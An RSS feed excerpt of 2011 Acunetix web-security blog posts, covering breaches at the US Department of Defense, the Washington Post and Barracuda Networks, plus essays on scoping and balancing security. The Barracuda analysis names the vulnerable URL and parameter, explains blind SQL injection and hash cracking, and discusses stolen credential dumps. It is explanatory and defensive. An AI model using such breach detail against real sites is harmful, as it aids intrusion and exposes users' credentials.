<p>It is evident that this is no small breach. The sheer numbers of usernames, passwords and email addresses, along with hostnames, IP addresses, user-agents and internal user names makes this hack look like the beginning of a larger wave of attacks that will hit the American government in the coming months.</p>
<h1>Closing</h1>
<p>To conclude I would like to directly quote the motto of Anonymous. Their motto never scared me, however as I look deeper into the work of this group I start feeling more and more uneasy. Should we be taking these anarchists more seriously?</p>
<p><em>&#8220;We are Anonymous.</em><br />
<em> We are Legion.</em><br />
<em> We are Antisec.</em><br />
<em> We do not forgive.</em><br />
<em> We do not forget.</em><br />
<em> Expect us.&#8221;</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/anonymous-hack-us-department-of-defence-analysis/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>VIDEO: SQL Injection tutorial</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/video-sql-injection-tutorial/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/video-sql-injection-tutorial/#comments</comments>
		<pubDate>Tue, 26 Jul 2011 07:37:04 +0000</pubDate>
		<dc:creator>Robert Abela</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[acunetix web vulnerability scanner]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql injection tutorial]]></category>
		<category><![CDATA[web security]]></category>
		<category><![CDATA[web vulnerabilities]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3828</guid>
		<description><![CDATA[SQL Injection is perhaps one of the most common application layer attack techniques used today, mainly used by malicious users to steal data from organizations. It is a type of attack that takes advantage of ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-3834" title="malicious user using sql injection" src="http://www.acunetix.com/blog/wp-content/uploads/2011/07/malicious-user-sql-injection.png" alt="" width="150" height="154" />SQL Injection is perhaps one of the most common application layer attack techniques used today, mainly used by malicious users to steal data from organizations. It is a type of attack that takes advantage of improper coding of your web applications that allows a malicious user to inject SQL commands into a form on your website, to allow them to gain access to the data held within your database.</p>
<p>In this video tutorial we will demonstrate what is an<a title="SQL Injection: What is it?" href="http://www.acunetix.com/websitesecurity/sql-injection.htm"> SQL injection vulnerability</a>, how a malicious user exploits an SQL Injection to steal credit card numbers and other customer data from your website and also how to fix SQL Injection vulnerabilities using practical examples.</p>
<p>In this step by step guide we will also show you how to perform an effective SQL Injection scan with <a title="Acunetix Web Vulnerability Scanner" href="http://www.acunetix.com/vulnerability-scanner/">Acunetix Web Vulnerability Scanner</a>, and explain in technical detail what is happening behind the scenes while exploiting an SQL Injection attack against a test website.</p>
<p><iframe src="http://www.youtube.com/embed/qELByGfNJSE?rel=0" frameborder="0" width="560" height="349"></iframe></p>
<p>If you have any queries regarding Acunetix Web Vulnerability Scanner or web security in general, visit the <a title="Acunetix web security forums" href="http://www.acunetix.com/forums">Acunetix web security forums</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/video-sql-injection-tutorial/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Properly Scoping your Web Security Assessments</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/properly-scoping-web-security-assessments/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/properly-scoping-web-security-assessments/#comments</comments>
		<pubDate>Tue, 19 Jul 2011 07:59:28 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[kevin beaver]]></category>
		<category><![CDATA[web application security testing]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3752</guid>
		<description><![CDATA[I’ve heard experts in time management say that one minute of planning can save you five minutes in execution. This applies to so many things we do in IT and information security but I can’t ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-3811" style="border-width: 0pt; border-style: none;" title="Web Security Planning is the Key" src="http://www.acunetix.com/blog/wp-content/uploads/2011/07/web-security-planning-is-the-key.jpg" alt="Properly Scope your Web Security Assessments" width="265" height="265" />I’ve heard experts in time management say that one minute of planning can save you five minutes in execution. This applies to so many things we do in IT and information security but I can’t think of anything more important than security testing. Applying the 80/20 rule to this scenario, the first 20 percent of the time you spend planning your security testing will be worth 80 percent of the value of the project. Even if this is only partially true, we&#8217;d be crazy to not take some time up front to properly plan out our testing projects. <span id="more-3752"></span></p>
<p>Planning out your Web testing starts with your initial scope. You have to ask yourself – and ideally other key people in the business that have a stake in this – what exactly needs to be tested? Specific questions you’ll want to answer include:</p>
<ol>
<li>What are we trying to do? What’s our ultimate goal with this testing?</li>
<li>How many unique intranet and Internet-based Web sites/applications need to be tested?</li>
<li>What platform(s) are these sites/applications based on?</li>
<li>What client-side technologies are being used?</li>
<li>Do we need to look at the systems from the perspective of an untrusted outsider only or should we also look at things from the perspective of a trusted user or users?</li>
<li>Approximately how many pages does each system have including both static and dynamically generated pages?</li>
<li>How many Web services exist that need to be tested? Hint: you need to test <em>all</em> of them.</li>
<li>Are we just going to run scans (unauthenticated and/or authenticated) or are we going to dig in further with manual analysis? What tools will be needed?</li>
<li>How much time is everything going to take? Hint: Add 25% to your estimate and you should be on target.</li>
</ol>
<p>Answering these general questions in advance will put you on the right track for ensuring you get the most out of your Web security testing.</p>
<p>Arguably the most important thing to keep in mind is that, in the real world, anything goes. I strongly believe that you need to focus your <a title="How much web security is enough?" href="http://www.acunetix.com/blog/web-security-zone/articles/how-much-web-security-is-enough/">Web security</a> testing efforts where the money is first. But, ultimately, you need to branch out and look at <em>everything</em>…from <em>every</em> perspective. Long term, you’ll want to look at all of your Web-based systems – especially those that are facing the outside world. This includes Web servers/interfaces on routers, firewalls, wireless access points, Outlook Web Access and so on.</p>
<p>Don’t underestimate the value and impact that internal Web sites and applications have on your business either. Just because a system is on the inside doesn&#8217;t mean it&#8217;s not going to be exploited by a trusted employee or an outsider with ill-intent and the means to access it. Ditto with Web servers/interfaces/applications on the LAN such as CCTV surveillance systems, storage management interfaces, copiers, printers and the like.</p>
<p>You have to be smart about scoping your Web security tests. Never forget that the bad guys know no limits when they’re trying to manipulate and exploit your Web-based systems. Why should you? The general rule of thumb is if it has a URL then it’s fair game.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/properly-scoping-web-security-assessments/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Hackers Slurp over a million user accounts from Washington Post</title>
		<link>http://www.acunetix.com/blog/news/million-user-accounts-from-washington-post-stolen/</link>
		<comments>http://www.acunetix.com/blog/news/million-user-accounts-from-washington-post-stolen/#comments</comments>
		<pubDate>Thu, 14 Jul 2011 08:32:54 +0000</pubDate>
		<dc:creator>Jeremy Pullicino</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[security breach]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[washington post]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3799</guid>
		<description><![CDATA[&#160;

The Washington Post website has been hit with a double security breach. Hackers have made off with around 1.3 million user IDs and email address from the &#8220;Jobs&#8221; section of the site. The attackers were ...]]></description>
			<content:encoded><![CDATA[<p>&nbsp;</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/07/TheWashingtonPostLogo.jpg"><img class="alignleft size-full wp-image-3776" src="http://www.acunetix.com/blog/wp-content/uploads/2011/07/TheWashingtonPostLogo.jpg" alt="" width="200" height="180" /></a></p>
<p><strong>The Washington Post website has been hit with a double security breach. Hackers have made off with around 1.3 million user IDs and email address from the &#8220;Jobs&#8221; section of the site. The attackers were able to gain access on two separate occasions: on the 27th and 28th of June.</strong></p>
<p><strong>To their credit, the Washington Post appears to have acted quickly to plug the gap and set up an appropriate response. It appears that user passwords and other personal information remains safe. The Post is currently investigating the incident, has taken steps to prevent against similar attacks, and is &#8220;pursuing the matter with law enforcement&#8221;.</strong></p>
<p><strong>It appears that the worst that users can expect is an increase in the amount of unsolicited SPAM emails, as user accounts on the Jobs website remain secure.</strong></p>
<h1><span id="more-3799"></span>How Did This Happen?</h1>
<p>The Washington Post did not specify how the attack occurred, but it is quite possibly <a href="http://www.acunetix.com/websitesecurity/sql-injection.htm">SQL Injection</a>, or some other kind of database attack, as it appears that a database was stolen. In an SQL Injection Attack, a hacker injects his own SQL commands into a web server to read from database tables that are normally restricted. It is one of the most popular types of attacks against websites and can be used to steal entire databases.</p>
<h1>How was the Incident Detected?</h1>
<p>The incident could have been detected in a variety of ways. The Post might have noticed a surge in traffic to the Jobs website, looked at the log files and performed a <a title="Acunetix Website Vulnerability Scanner" href="http://www.acunetix.com/vulnerability-scanner/">web application vulnerability scan</a>. This would have pointed out possible attack vectors and pinpointed the avenue of attack. It is also possible that the leak was discovered after users reported increased levels of SPAM and/or attempts at phishing.</p>
<p>Nobody has come forward and claimed responsibility, and the Washington Post has not pointed any fingers yet. At this point, one can only speculate.</p>
<h1>Damage</h1>
<p>The actual amount of personal information stolen is considerably less as compared to other recent high-profile attacks. &#8220;Only&#8221; 1.3 million user IDs and email addresses were stolen. The Washington Post acted quickly to detect and plug the gap. However, a clever attacker can leverage that information through certain malicious techniques.</p>
<p>The most obvious would be adding the users to a SPAM mailing list. Email SPAM is the sending of unsolicited messages to a large list of addresses. It is the digital equivalent of junk mail. The emails will be unwanted and typically sent in bulk.</p>
<p>If the hackers are looking to steal sensitive information, a common attack is phishing. Phishing is the digital equivalent of social engineering. It is a way to gain sensitive details from a user by posing as a trustworthy company. It is one of the leading causes of identity theft.</p>
<p>The typical phishing example would be a stern, official-looking email, appearing to come from a major bank. The email would usually request that the reader clicks a link and &#8220;verifies&#8221; some sensitive information.</p>
<p>The hackers can use the associated user IDs that they stole and pose as the Washington Post Jobs website itself. The users might be more likely to respond to the phishing emails if it contains their user ID for the website in question. This targeted form of phishing is called spear-phishing.</p>
<h1>Lessons Learned</h1>
<p>It is almost a <a href="http://www.acunetix.com/blog/news/90-percent-of-us-companies-hacked/">statistical certainty</a> that companies are going to get hacked. The steps that the company takes after the attack are just as important as the preventative steps before.</p>
<p>It is important to the have a quick and effective incident-response setup in place. Thankfully, the Washington Post Jobs site appears to, as it acted very quickly to patch the problem and warn its users. The obvious example to the contrary would be Sony, who suffered weeks of delays.</p>
<p>The preventative measures are important. It is essential that SQL injection vulnerabilities are scanned for and fixed. Websites are constantly changing, opening up new defects in previously-secure areas of the site.</p>
<p>In this day and age, there is no end to the ingenuity of the hackers and the lengths that they go through to gain access. Just like a cat-and-mouse game, it is ever more important that web administrators take every measure to stay ahead of the curve.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/million-user-accounts-from-washington-post-stolen/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>How Much Web Security is Enough?</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/how-much-web-security-is-enough/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/how-much-web-security-is-enough/#comments</comments>
		<pubDate>Wed, 06 Jul 2011 15:01:59 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[kevin beaver]]></category>
		<category><![CDATA[web application security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3737</guid>
		<description><![CDATA[A good web application security environment is one that balances security with convenience. Nothing more and nothing less; just the security that’s needed to keep things reasonably in check.
But just how much is enough?  All ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/07/jumping-through-hoops-for-the-sake-of-web-security.png"><img class="alignleft size-full wp-image-3782" src="http://www.acunetix.com/blog/wp-content/uploads/2011/07/jumping-through-hoops-for-the-sake-of-web-security.png" alt="Do you make your users jump through security hoops?" width="274" height="215" /></a>A good web application security environment is one that balances security with convenience. Nothing more and nothing less; just the security that’s needed to keep things reasonably in check.</p>
<p>But just how much is enough?  All too often I see websites and applications with too little security while others have <em>too much</em> – namely “security theater” that makes it look like the system is secure. There’s hardly ever a happy medium. Granted, there are the outliers like Amazon, eBay and related sites that seem to have things down pat. However, so many other lesser-known sites and applications (the majority of the ones out there) just can’t seem to find the balance of security and usability that’s needed.<span id="more-3737"></span></p>
<p>I think a large part of the problem is that highly-technical developers are putting together these sites and applications without getting user feedback on the front end and not performing adequate usability testing on the back end. I can’t tell you how many times in the past few weeks alone I’ve come across websites and applications (both personally and in my security testing work) that have been unbelievably amateurish when it comes to user account management. I’ve thought to myself things like “Has <em>no one</em> tested this mechanism for security flaws?” and “What point is someone trying to prove by requiring so many hoops to jump through when the hoops can be bypassed altogether?”</p>
<p>I believe these types of problems lie not with the technical developers but in the management (or lack thereof) of the overall application. I suspect if we could get to the bottom of many of these problems we’d see that everything is up to the developers with no end user input, no product management…nothing.</p>
<p>The user&#8217;s interaction with the application should be as simple as possible. People shouldn’t have to jump through tons of hoops to simply log on or perform functions like changing passwords, especially when controls are forced on them in the name of “security”. In fact, most security controls should be completely transparent to end users. The goal should be to steer users in the right direction and protect them from themselves and not a single bit more.</p>
<p>Those of us working in IT, security and software development can effect change and get these sites and applications to where they need to be. Consider this: for the next 30 days focus your web security efforts solely on user authentication and access controls within your sites and applications. Get all the right people on board and do whatever you can to make user interaction as painless yet secure as possible. Check out some of the well-known sites and applications and see how they’re handling logons, password policies and the like. I guarantee you can eliminate a <strong>ton</strong> of flaws and make your environment resilient against a large number of exploits while making it easier to use in the process.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/how-much-web-security-is-enough/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Cure for Many Web Application Security Ills</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/the-cure-for-many-web-application-security-ills/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/the-cure-for-many-web-application-security-ills/#comments</comments>
		<pubDate>Wed, 29 Jun 2011 13:23:48 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[kevin beaver]]></category>
		<category><![CDATA[SDLC]]></category>
		<category><![CDATA[web application security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3537</guid>
		<description><![CDATA[One of the things I’ve learned throughout my career is that many solutions to the problems we face in IT, security and software development can be solved if we simply turn to business leaders to ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-3688" style="border-width: 0pt;border-style: none" src="http://www.acunetix.com/blog/wp-content/uploads/2011/06/keyquestion.png" alt="" width="182" height="167" />One of the things I’ve learned throughout my career is that many solutions to the problems we face in IT, security and software development can be solved if we simply turn to business leaders to see how it’s done. In particular, I’m talking about a practice called <em>zero-based thinking.</em> A tool that’s been around for centuries and more finely-tuned for business in the past few decades, zero based thinking is just that – going back to “zero” – and asking yourself, “knowing what I now know, would I still do the same things?”<span id="more-3537"></span></p>
<p>In the context of web application security this means suspending critical judgment, letting go of your pre-conceived notions about how things “should” be and being open to some alternatives that may seem impossible but likely aren’t. The key questions to ask yourself are: What would I do less of? What would I do more of? What would I stop altogether? Maybe you could…</p>
<p>Do less of:</p>
<ul>
<li>Performing sporadic web application security tests with no defined schedule</li>
<li>Ignoring the reality that <em>all</em> of your Web systems need to be tested eventually (focusing on the urgent and important first, of course)</li>
</ul>
<p>Do more of:</p>
<ul>
<li>Setting <em>and following</em> some clearly-defined goals for improving <a title="Acunetix Web Vulnerability Scanner" href="http://www.acunetix.com/vulnerability-scanner/">web application security</a> in your business from this point forward</li>
<li>Developing a set of reasonable security policies or cleaning up your existing ones to include web application security throughout development, QA and ongoing maintenance</li>
</ul>
<p>Stop altogether:</p>
<ul>
<li>Relying on basic vulnerability scans as an assumed realistic representation of your web security flaws</li>
<li>Keeping information about security issues internal to IT or your development/QA team and isolating others in the business who could actually help</li>
</ul>
<p>People see and hear what they want to see and hear. I believe the inability to stop doing things that are no longer working is the primary failure of web application security. If this cycle isn&#8217;t stopped – especially given what’s going on in and around web application security these days – it&#8217;ll only continue and this monster will grow.</p>
<p>You have to be open to the fact that what you’re doing today is no longer working or isn’t working the way it needs to. Making improvements in web application security is going to require re-examining your situation. Use zero-based thinking and discard known facts and assumptions and look at things in a new light. Think about how some new approaches could benefit your business. You’ll likely find there are numerous areas ripe for improvement.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/the-cure-for-many-web-application-security-ills/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Going Beyond Confirmed Web Security Flaws</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/beyond-security-flaws/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/beyond-security-flaws/#comments</comments>
		<pubDate>Wed, 25 May 2011 14:14:47 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[kevin beaver]]></category>
		<category><![CDATA[vulnerability testing]]></category>
		<category><![CDATA[web application security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3263</guid>
		<description><![CDATA[As I wrote in my previous post about low-hanging fruit and the 2011 Verizon Data Breach Report, I’m a strong believer in finding out where your Web systems are bleeding and focusing on those issues ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-3405" title="Looking Beyond the Basics with Web Security" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/magnifying-glass.jpg" alt="Looking Beyond the Basics with Web Security" width="266" height="123" />As I wrote in <a title="Low-Hanging Fruit Becomes Big News with the 2011 Verizon Data Breach Report" href="http://www.acunetix.com/blog/web-security-zone/articles/verizon-data-breach/">my previous post about low-hanging fruit and the 2011 Verizon Data Breach Report</a>, I’m a strong believer in finding out where your Web systems are bleeding and focusing on those issues first. It’s the basic principle of triage – finding, and fixing, the urgent issues on the important systems. The thing is you cannot stop there.<span id="more-3263"></span> Yet I see people pause their efforts after the biggies have been addressed, especially within SMBs. The scans are run, the major issues are fixed and before you know it, a false sense of security sets in. It’s the perfect formula for a future Web security breach.</p>
<p>If you’ve been around web security for a while you know that some of the more technical flaws can take some time to uncover. Heck, many of the issues take some time to just <em>understand</em>. It reminds me of early on in my IT career when it took me years to really wrap my head around the protocols, addressing schemes and other nuances of TCP/IP. Web applications are equally complicated – if not more – and I continue to learn new things.</p>
<p>Web application security testing is both an art and a science. It requires deep creativity <em>and</em> strong analytical skills. With Web applications, we need to be able to look for specific – and verifiable – vulnerabilities using both automated scanners <em>and</em> manual analysis. But we can’t stop there. We also need to be able to think longer term and think about how some other potential flaws <em>could</em> lead to other problems. This means outlining various scenarios of what <em>could </em>happen if X, Y or Z falls into place and an exploit occurs.</p>
<p>Some issues that come to mind include:</p>
<ul>
<li>Password policies (or lack thereof) – just because you don’t find any weak passwords doesn’t mean they’re not there.</li>
<li>Application logic flaws – if an application workflow seems a bit off then it very well could be. How could someone take advantage of this and what is there to lose when something goes awry?</li>
<li>Possible <a title="What is SQL Injection?" href="http://www.acunetix.com/websitesecurity/sql-injection.htm" target="_blank">SQL injection</a> issues as found by <a title="Acunetix Web Vulnerability Scanner" href="http://www.acunetix.com/vulnerability-scanner/" target="_blank">Web vulnerability scanners</a> – even if you’re unsuccessful validating the vulnerabilities, you or your SQL injector tool may not have dug in deeply enough so the flaw could still be present.</li>
<li>Authentication mechanism issues that appear to permit login bypassing or session manipulation – these can be tricky to reproduce, but again it doesn’t mean they’re not there for the taking by a malicious attacker with nothing but time on his hands.</li>
</ul>
<p>Bottom line: you’re the expert. You can’t blame vendors for failing to find or report on all Web security issues in your environment. People are counting on you to do your best so you owe it to your developers (and your business) to make them aware of <em>all</em> the issues – both confirmed and plausible.</p>
<p>Sure, you’re not going to find all the vulnerabilities and odds are you’re not going to completely understand them all – especially at first. That said, given what’s at stake, the general expectation is that you’re doing what you can to continually learn new things and have an open mind and the analytical skills needed to know where to look in order to ferret out the not-so-obvious “issues” that could get ugly down the road.</p>
<p>Just like every Web application, we’re all a work in progress. As long as we understand what’s required of us to work in this ever-changing field and we’re committed to staying focused in the right direction, that’s all that matters.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/beyond-security-flaws/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Barracuda Networks Breached</title>
		<link>http://www.acunetix.com/blog/news/barracuda-networks-breached/</link>
		<comments>http://www.acunetix.com/blog/news/barracuda-networks-breached/#comments</comments>
		<pubDate>Thu, 05 May 2011 14:05:46 +0000</pubDate>
		<dc:creator>Jeremy Pullicino</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[barracuda]]></category>
		<category><![CDATA[security breach]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[web application firewall]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3306</guid>
		<description><![CDATA[Introduction
On April 11th 2011, at nine in the evening, Barracuda Networks posted a grim entry on their blog. Their network had been hacked. Thousands of their confidential customer and employee records were stolen. In an ...]]></description>
			<content:encoded><![CDATA[<h2>Introduction</h2>
<p><strong><img class="alignleft size-full wp-image-3370" title="Barracuda Networks" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/Barracuda-networks-logo.jpg" alt="Barracuda Networks Victim of Blind SQL Injection Attack" width="240" height="70" />On April 11th 2011, at nine in the evening, Barracuda Networks posted a grim entry on their blog. Their network had been hacked. Thousands of their confidential customer and employee records were stolen. In an ironic twist of fate, the company that advocates security through it’s own Web Application Firewall were victims to the most common and oldest type of attack against web servers &#8211; the infamous Blind SQL Injection.<span id="more-3306"></span></strong></p>
<p>Web Application Firewalls like the one that Barracuda Networks manufactures are designed to stop this type of attack from occurring in the first place, however they clearly are <a title="VIDEO: web application firewall bypass with a XSS attack" href="http://www.acunetix.com/blog/news/web-application-firewall-bypass-xss-attack/">not the silver bullet against hackers</a>. On their blog, Barracuda Networks admitted that they made several mistakes, the biggest of which was to unintentionally turn off their own firewall for a few hours. This was a golden window of opportunity which hackers pounced on and immediately exploited.</p>
<p>In a vain attempt to regain their customer’s trust, Barracuda Networks explained how the vulnerability happened. They mentioned that no sensitive information was stolen and all the stolen passwords were salted. The skeptic in me decided to challenge their statements so I did my own independent research, got hold of the stolen data and began an analysis.</p>
<p>This article details my findings, where I discover that within the 20,000 records that were stolen, many were internal and possibly privileged user names and passwords. I also find that some of the most sensitive passwords were very easily cracked and were not salted as they claim. I also challenge the assumption that Web Application Firewalls can never be one’s only line of defense. In fact, after this breach I am tempted to discourage the use of such devices since they easily lead to a sense of false security.</p>
<h2>Main Concepts Behind the Attack</h2>
<p>In this section I briefly explain the different methods used during this attack. I appreciate that some of you will already be familiar with these concepts, however it is good to go over them because it will give you a better understanding of the technical analysis later.</p>
<h3>Blind SQL Injection</h3>
<p>An <a title="What is SQL Injection?" href="http://www.acunetix.com/websitesecurity/sql-injection.htm" target="_blank">SQL Injection</a> attack is executed in three phases. In the first phase, the attacker launches a series of probes, or scans against his target. These scans are testing for any known SQL Injection weakness. They typically work by sending intentionally malformed user data to the server and analysing error responses from the web application. Certain error responses pinpoint vulnerabilities, whilst others reveal important information which is used to further refine the scans.</p>
<p>In a Blind SQL Injection attack the web application does not reveal any information about the errors, therefore traditional probing methods are ineffective. This does not mean that there are no vulnerabilities, but it does make the existing ones much harder to find.</p>
<h3>Web Application Firewalls</h3>
<p>The concept behind a Web Application Firewall (WAF) is very similar to how a traditional firewall works. A set of rules are configured on the firewall that selectively allow or deny network traffic. Rules on a WAF are exclusively designed to filter HTTP traffic. They are also capable of detecting common attacks, such as SQL Injection attack probes and XSS attempts. These firewalls exist as software installed on a host, or as a dedicated hardware device. Web Application Firewalls are a good first line of defence, however this <a title="Web Application Firewalls do not replace secure development and operation of web applications" href="http://www.acunetix.com/blog/web-security-zone/whitepapers/web-application-firewalls-do-not-replace-secure-development-and-operation-of-web-applications/">does not mean that web application developers can employ lax coding and testing standards</a>, as application bugs can still be exploited through the firewall. Barracuda Networks are a major player in the field of Web Application Firewalls, however they still fell victim of the classical SQL injection attack.</p>
<h3>Hashing Passwords and Salting Hashes</h3>
<p>Hashing passwords is a popular alternative to encrypting and storing passwords in a database. A hash is a one-way algorithm. This means that a password can be turned into a hash, but this a hash cannot be turned into a password. This is very convenient for web logins. The web server never stores the password, but instead stores the hash of the password. When a user attempts to log in, the password he enters is turned into a hash and compared with the hash in the database. If the two hashes match he is authenticated.</p>
<h3>Cracking Hashed Passwords</h3>
<p>Cracking hashes is only possible with brute force. A hacker tries every possible password combination, turning each password into a hash and comparing it to the hashes he has stolen. If one of them matches, then he has found a password. This attack, although cumbersome is greatly facilitated by the use of rainbow tables. These are large files of precomputed hashes for millions of known passwords and greatly reduce the time needed for a brute force attack.</p>
<p>To protect against rainbow table attacks against hashes, security administrators are encouraged to salt their passwords before hashing. This is a simple and effective technique. It consists of adding a special value to the password before hashing and renders brute force attacks practically useless.</p>
<h2>Anatomy of the Attack</h2>
<p>The news of this breach begs the question: How does one get past a Web Application Firewall (WAF) and perform an SQL Injection attack? The answer is simple. Wait for the WAF to be disabled and then perform the attack.</p>
<p>Below is a diagram showing how a WAF is positioned to block these attacks before they even reach the web server.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/WebApplicationFirewall.png"><img class="size-full wp-image-3329 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/WebApplicationFirewall.png" alt="" width="334" height="475" /></a></p>
<p>In the diagram above you can see that legitimate traffic is allowed through the WAF, however an SQL Injection payload is stopped before it can reach the Web Application Server, and consequently the SQL database.</p>
<p>If the WAF is removed, however the Web Application Server is left exposed, as can be seen in the diagram below.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/No_WAF.png"><img class="size-full wp-image-3328 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/No_WAF.png" alt="" width="338" height="364" /></a></p>
<p>According to various reports, attackers were able to exploit this scenario for many hours until they were successful. The SQL Injection vulnerability itself was found in a PHP script which is used to list customer reference case studies. Although this script was designed to access only the partner database, the SQL breach was large enough to give the hackers access to other databases on the same system.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/customer_verticals.png"><img class="alignnone size-full wp-image-3330" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/customer_verticals.png" alt="" width="566" height="399" /></a></p>
<p>According to a statement issued by Barracuda Networks the attack started with a few hours of probing from one IP address which was followed by a full-blown attack from several locations.</p>
<p>The vulnerable URL was the following:</p>
<p><code>http://www.barracudanetworks.com/ns/customers/customer_verticals.php?v=11</code></p>
<p>As you can see from the URL above, a single parameter called “v” is passed to this module. This parameter, which is of numeric type, identifies a vertical market ID. Vertical market  ID 11, corresponds to “Entertainment and Leisure”. Changing this ID to 10 serves up the vertical market “Energy and Utilities”.</p>
<p>By manipulating this parameter, hackers were able to inject their own SQL commands into the system and read out the entire set of databases on the server.</p>
<p>The hackers also revealed some other information, which is shown below:</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/info.png"><img class="size-full wp-image-3327 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/info.png" alt="" width="500" height="124" /></a></p>
<p>It appears that the web server was running on a Microsoft Windows platform running the Microsoft IIS 6.0 web server. The vulnerable web application is listed as ASP.NET which looks odd to me, since the vulnerable URL is a PHP script and not an ASP script as one would expect on a Microsoft ASP.NET box.</p>
<p>The total extent of the breach may never be known to us, however some interesting information can be garnered through an analysis of the information leaked by the hackers themselves. The next section sifts through this information to determine what was stolen.</p>
<h2>Damage Suffered</h2>
<p>The hackers who claim to be responsible for the breach are a Malaysian group that go by the name HMSec. They posted a Full Disclosure message a few hours after the breach. In this message they listed a total of 22 different databases. Some databases are well known such as “phpmyadmin”, a popular administration tool for PHP and MySQL, who had also <a title="MySQL.com Victim of SQL Injection Attack" href="http://www.acunetix.com/blog/web-security-zone/articles/mysql-com-victim-of-sql-injection/">been a victim of an SQL Injection hack</a> some time ago. I also noticed a database called “php_live_chat” which could mean that they are running a product called phpLiveChat, a commercial software module that allows customer to interact directly with sales and support staff at Barracuda.</p>
<p>There are also some more interesting databases. For example, the database “information_schema” is probably loaded with information that the hackers could have used to penetrate the database even further. There are two database called “bware” and “black_ips”. I hope my IP addresses are not in that one!</p>
<p>I saw a database or two which look like they belong on a development machine and not a live web server. Some examples of these are “igivetest” and “igivetestsucks”. A google search for “igivetest” results in an online tool for creating multiple choice questions. I wonder why this software was being installed and experimented with on a live server. Other questionable databases are “dev_new_barracuda” and “new_barracuda_archive”, both databases look out of place and make for a very dirty mySQL implementation on their end.</p>
<p>The juicy parts are what come next, list upon list of user names and passwords.</p>
<p>Here are a few, which I have censored out of respect for Barracuda staff, partners and customers.</p>
<p>This table is called CMS_LOGINS and contains 251 login accounts for the Barracuda Content Management System. The hashed passwords use the MD5 algorithm.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/c_new_barracuda2.png"><img class="size-full wp-image-3326 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/c_new_barracuda2.png" alt="" width="410" height="193" /></a></p>
